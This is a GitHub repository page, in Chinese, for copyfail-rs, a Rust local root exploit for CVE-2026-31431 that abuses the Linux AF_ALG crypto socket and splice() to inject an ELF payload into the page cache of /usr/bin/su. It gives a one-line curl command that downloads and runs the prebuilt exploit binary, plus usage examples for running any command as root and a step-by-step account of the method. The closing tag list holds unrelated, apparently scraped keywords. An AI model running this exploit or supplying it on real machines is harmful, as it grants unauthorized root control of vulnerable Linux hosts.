sammwyy/copyfail-rs

GitHub: sammwyy/copyfail-rs

CVE-2026-31431 的 Rust 版本地权限提升利用程序,通过链式调用 Linux 内核 AF_ALG 和 splice() 覆写页缓存实现提权。

Stars: 6 | Forks: 0

# copyfail-rs **Copy Fail** 漏洞利用程序 (CVE-2026-31431) 的 Rust 版本,这是一个严重的安全漏洞,通过链式利用 `AF_ALG` 和 `splice()` 实现 4 字节的页缓存写入,从而导致主流 Linux 发行版上的本地权限提升。 基于 [Xint Code](https://xint.io/blog/copy-fail-linux-distributions) 的研究与 PoC。 ## 免责声明 ## 功能特性 - **纯 Rust 实现**:原始 Python PoC 的高性能、内存安全实现版本。 - **动态 ELF 构建器**:在运行时以编程方式构造漏洞利用载荷,支持自定义命令。 - **零拷贝利用**:通过 `libc` 直接与 Linux 内核的 `AF_ALG` 和 `splice()` 系统调用进行交互。 - **可定制**:可通过 CLI 参数指定要以 root 身份运行的命令。 ## 快速开始 (一行命令) 你可以直接下载并运行预编译的 PoC 二进制文件: ``` curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs ``` ## 前置条件 - 存在 **CVE-2026-31431** 漏洞的 Linux 内核(通常为 2026 年 4 月补丁发布之前的内核)。 - 拥有目标二进制文件的读取权限(默认为 `/usr/bin/su`)。 ## 安装 克隆仓库并构建二进制文件: ``` git clone https://github.com/sammwyy/copyfail-rs.git cd copyfail-rs cargo build --release ``` ## 使用方法 不带参数运行漏洞利用程序将默认执行 `/bin/sh`: ``` ./target/release/copyfail-rs ``` 或者指定一个自定义命令以 root 身份运行: ``` ./target/release/copyfail-rs "whoami > /tmp/pwned" ``` ## 工作原理 该漏洞利用了 Linux 内核 Crypto API (`AF_ALG`) 中 `authencesn` 实现的一个缺陷。通过将 `sendmsg` 与 `MSG_MORE` 以及 `splice()` 链式调用,可以使用恶意的 ELF 载荷覆盖任意文件(如 `/usr/bin/su`)的页缓存中的小块内容。 1. **Socket 设置**:创建一个 `AF_ALG` socket 并绑定到 `authencesn(hmac(sha256),cbc(aes))`。 2. **载荷生成**:在内存中构造一个最小化的 ELF,该 ELF 会以 root 权限执行目标命令。 3. **缓存注入**:利用 `AF_ALG` 漏洞,通过迭代拼接将载荷写入目标文件的页缓存。 4. **触发执行**:执行被修改的目标文件,从而运行注入的 shellcode。 ## 参考 - [原文博客文章 - Xint Code](https://xint.io/blog/copy-fail-linux-distributions) - [CVE-2026-31431 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431)
标签:AF_ALG, CVE-2026-31431, ELF, Linux内核, PoC, Root提权, Rust, Rust安全工具, splice, Web报告查看器, 二进制利用, 协议分析, 可视化界面, 子域名枚举, 提权漏洞, 暴力破解, 本地提权, 权限提升, 漏洞复现, 系统安全, 网络流量审计, 通知系统, 零拷贝, 页面缓存